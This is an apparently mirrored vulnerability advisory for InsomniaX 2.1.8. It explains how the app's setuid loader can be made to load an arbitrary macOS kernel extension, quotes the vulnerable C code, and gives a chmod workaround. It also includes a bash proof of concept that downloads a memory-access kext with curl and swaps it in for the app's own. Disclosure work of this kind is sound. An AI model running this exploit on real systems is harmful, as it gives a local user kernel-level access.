Lucene search
K

InsomniaX 2.1.8 Arbitrary Kernel Extension Loading

🗓️ 03 Jul 2017 00:00:00Reported by Yorick KosterType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

InsomniaX 2.1.8 Arbitrary Kernel Extension Loading allows local attackers to load/unload arbitrary kext file

Code
`------------------------------------------------------------------------  
InsomniaX loader allows loading of arbitrary Kernel Extensions  
------------------------------------------------------------------------  
Yorick Koster, April 2017  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
It was found that the loader application bundled with InsomniaX can be  
used to load arbitrary Kernel Extensions (kext). The loader is normally  
used to load a kext file that is needed to disable the Lid Sleep. A flaw  
has been found in the loader that allows a local attacker to load (or  
unload) any arbitrary kext file.  
  
------------------------------------------------------------------------  
See also  
------------------------------------------------------------------------  
- http://semaja2.net/2017/06/insomniax-security-notice/  
- http://semaja2.net/2017/06/thank-you-and-farewell-for-now/  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
This issue was successfully verified on InsomniaX version 2.1.8.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
There is currently no fix available. The author of InsomniaX reports  
that InsomniaX is no longer supported. As a workaround, remove the  
setuid bit from the loader file. Doing so will prevent users from  
disabling the Lid Sleep.  
  
sudo chmod u-s /Applications/InsomniaX.app/Contents/Resources/loader  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://www.securify.nl/advisory/SFY20170405/insomniax-loader-allows-loading-of-arbitrary-kernel-extensions.html  
  
This issue exists because InsomniaX tries to load the kext file form the user's home folder. When started the loader first changes the owner of the kext file to user root and group wheel. This is required or else the kext loader will refuse to load the kext. After changing the owner, loader will call kextload with the path set to the kext located in the user's home directory. Replacing InsomniaX' kext with a different one will cause the loader to load this kext instead.  
  
struct passwd *pw = getpwuid(getuid());  
  
char *homedir = pw->pw_dir;  
  
char *supportPath = strcat(homedir, "/Library/Application Support/InsomniaX");  
const char *kextPath = strcat(supportPath, "/Insomnia_r11.kext");  
  
switch(myCommand->authorizedCommandId)  
{  
case kMyAuthorizedLoad: {  
/* Child code. */  
if(fork() == 0) {  
#ifdef DEBUG  
fprintf(stderr, "CHOWN\n");  
#endif  
dup2(2,1);  
execl("/usr/sbin/chown", "chown", "-R", "root:wheel", kextPath, NULL);  
}  
/* Parent code. */  
else {  
wait(&status);  
/* Child code. */  
if(fork() == 0) {  
#ifdef DEBUG  
fprintf(stderr, "KEXTLOAD\n");  
#endif  
dup2(2,1);  
execl("/sbin/kextload", "kextload", kextPath, NULL);  
}  
  
This issue can be demonstrated using the following steps:  
  
- start InsomniaX  
- run the Bash script below  
- click on the InsomniaX icon in the menu bar and select Disable Lid Sleep  
- run kextstat -l -b com.google.MacPmem to check if the kext is loaded  
  
#!/bin/bash  
mv ~/Library/Application\ Support/InsomniaX ~/Library/Application\ Support/InsomniaX.O  
mkdir -p ~/Library/Application\ Support/InsomniaX  
cd ~/Library/Application\ Support/InsomniaX  
curl -L https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip --output osxpmem-2.1.post4.zip  
unzip osxpmem-2.1.post4.zip  
mv osxpmem.app/MacPmem.kext/ Insomnia_r11.kext  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation